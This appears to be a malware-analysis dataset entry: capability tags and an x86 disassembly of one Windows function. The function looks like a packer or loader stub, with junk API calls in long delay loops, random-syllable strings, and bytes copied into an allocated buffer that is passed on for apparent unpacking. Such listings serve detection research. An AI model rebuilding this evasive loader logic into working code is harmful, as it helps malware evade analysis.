Function at 0x40ced0
Capabilities:
Get common file path
Get geographical location
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x40d401
mov eax, dword fs:[0]
push eax
sub esp, 0xc70
mov eax, dword [0x815030]
xor eax, esp
mov dword [esp + 0xc68], eax
push ebx
push esi
push edi
mov eax, dword [0x815030]
xor eax, esp
push eax
lea eax, [esp + 0xc80]
mov dword fs:[0], eax
mov eax, dword [0x2ed02d4]
cmp eax, 0x7c
jne 0x40cf90
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor edi, edi
push edi
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push edi
lea ecx, [esp + 0x4c]
push ecx
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
lea edx, [esp + 0x74]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push edi
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
lea eax, [esp + 0x474]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
cmp dword [0x2ed02d4], 0x2d
jne 0x40cf71
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0x813b9c
push 0x817978
call fcn.0040111b
push edi
call fcn.004013a2
mov eax, dword [0x2ed02d4]
add esp, 0xc
jmp 0x40cf92
xor edi, edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcpynW]
xor esi, esi
lea ebx, [ebx]
cmp eax, 0x8cf
jne 0x40cfbc
push edi
push str.cowuru_wuzurutujoyuzejiyip_roxukam_lisokiceji
lea ecx, [esp + 0x47c]
push ecx
call ebx
mov eax, dword [0x2ed02d4]
cmp esi, 0x162
jne 0x40cfd3
mov eax, dword [0x816e74]
add eax, 0xa231
mov dword [0x2ed02d4], eax
cmp eax, 0x141
jne 0x40cfee
mov dword [0x817a00], 0xec58acac
mov dword [0x817a04], 0xffffffff
inc esi
cmp esi, 0x129916c
jl 0x40cfa0
xor esi, esi
lea esp, [esp]
cmp esi, 0x562d05
jne 0x40d014
mov edx, dword [0x816058]
mov dword [0x2ed02d8], edx
cmp eax, 0x3c
jne 0x40d025
push edi
call dword [sym.imp.KERNEL32.dll_FindAtomA]
mov eax, dword [0x2ed02d4]
inc esi
cmp esi, 0x5f6c74
jl 0x40d000
cmp eax, 0x110a
jne 0x40d1f0
mov eax, dword [esp + 0x48]
push eax
push edi
mov dword [0x2ed01a0], edi
mov dword [0x2ed01a4], edi
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push edi
push str.wakamaf_jimeficigaduxofe
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push str.kepezutoculumeyokoravom
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push edi
lea ecx, [esp + 0x478]
push ecx
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea edx, [esp + 0x4c]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_GetCommState]
push edi
push edi
call fcn.004012a9
push edi
push edi
call fcn.004012a9
push edi
call fcn.0040ca04
add esp, 0x14
push 4
call fcn.00401424
add esp, 4
cmp eax, edi
je 0x40d0b2
lea ecx, [esp + 0x18]
mov dword [eax], ecx
jmp 0x40d0b4
xor eax, eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
push 4
mov dword [esp + 0xc8c], 1
call fcn.00401424
add esp, 4
cmp eax, edi
je 0x40d0e5
lea edx, [esp + 0x30]
mov dword [eax], edx
jmp 0x40d0e7
xor eax, eax
mov dword [esp + 0x30], eax
push edi
push edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x4c], edi
call fcn.004012a9
push 0x813c60
push 0x817978
call fcn.0040136f
mov eax, dword [esp + 0x4c]
add esp, 0x10
cmp eax, edi
je 0x40d15e
mov edi, dword [esp + 0x40]
cmp eax, edi
je 0x40d153
lea esi, [eax + 0x18]
cmp dword [esi], 0x10
jb 0x40d134
mov eax, dword [esi - 0x14]
push eax
call fcn.004013ad
add esp, 4
mov dword [esi], 0xf
mov dword [esi - 4], 0
mov byte [esi - 0x14], 0
add esi, 0x1c
lea eax, [esi - 0x18]
cmp eax, edi
jne 0x40d123
mov eax, dword [esp + 0x3c]
push eax
call fcn.004013ad
add esp, 4
xor edi, edi
mov ecx, dword [esp + 0x30]
push ecx
mov dword [esp + 0x40], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x48], edi
call fcn.004013ad
mov dword [esp + 0xc8c], 0xffffffff
mov eax, dword [esp + 0x28]
add esp, 4
cmp eax, edi
je 0x40d1d2
mov edi, dword [esp + 0x28]
cmp eax, edi
je 0x40d1c7
lea esi, [eax + 0x18]
cmp dword [esi], 8
jb 0x40d1a6
mov edx, dword [esi - 0x14]
push edx
call fcn.004013ad
add esp, 4
xor eax, eax
mov dword [esi], 7
mov dword [esi - 4], 0
mov word [esi - 0x14], ax
add esi, 0x1c
lea ecx, [esi - 0x18]
cmp ecx, edi
jne 0x40d195
mov eax, dword [esp + 0x24]
push eax
call fcn.004013ad
add esp, 4
xor edi, edi
mov edx, dword [esp + 0x18]
push edx
mov dword [esp + 0x28], edi
mov dword [esp + 0x2c], edi
mov dword [esp + 0x30], edi
call fcn.004013ad
mov eax, dword [0x2ed02d4]
add esp, 4
push eax
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor esi, esi
mov dword [0x2ecfff4], eax
cmp dword [0x2ed02d4], edi
jbe 0x40d258
lea ecx, [ecx]
mov eax, dword [0x2ed02d8]
mov dword [esp + 0x14], eax
mov eax, 0xa231
add dword [esp + 0x14], eax
mov ecx, dword [esp + 0x14]
mov dl, byte [ecx + esi]
mov eax, dword [0x2ecfff4]
mov byte [eax + esi], dl
cmp dword [0x2ed02d4], 0x5ab
jne 0x40d24f
lea ecx, [esp + 0x4c]
push ecx
push edi
call ebx
mov dword [0x2ecfff8], 0x19b0
inc esi
cmp esi, dword [0x2ed02d4]
jb 0x40d210
push 0x813c64
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
call fcn.0040cb60
call fcn.0040cb40
mov eax, dword [0x2ed02d4]
mov edx, dword [0x816060]
mov edi, dword [0x2ecfff4]
mov esi, eax
mov dword [0x2ecfff0], edx
cmp eax, 0x114e
jne 0x40d2a4
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
lea eax, [esp + 0x4c]
push eax
push str.tahucofelevuhosu_vaculumiheju_sufiyirowatozahof
call ebx
mov eax, dword [0x2ed02d4]
cmp eax, 0x2f
jne 0x40d2b5
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push esi
push edi
call fcn.0040cd20
mov ecx, dword [0x2ecfff4]
add esp, 8
xor eax, eax
cmp eax, 0xd606b
jne 0x40d2d4
add ecx, 0
inc eax
cmp eax, 0x24e87d
jl 0x40d2c7
mov edi, dword [esp + 0x54]
mov dword [0x2ecfff4], ecx
xor esi, esi
jmp 0x40d2f0
lea ecx, [esp + 0x74]
push ecx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
cmp esi, 0x408e
jle 0x40d30b
cmp edi, 0xf5bed7
jne 0x40d314
inc esi
cmp esi, 0x687ed2
jl 0x40d2f0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, 0x1e4165
mov edi, 0x8e46a6f0
jmp 0x40d330
cmp dword [0x2ed02d4], 0x7c4
mov dword [0x2ecfffc], edi
jne 0x40d344
call esi
sub ebx, 1
jne 0x40d330
mov ecx, dword [esp + 0xc80]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xc68]
xor ecx, esp
call fcn.0040110c
mov esp, ebp
pop ebp
ret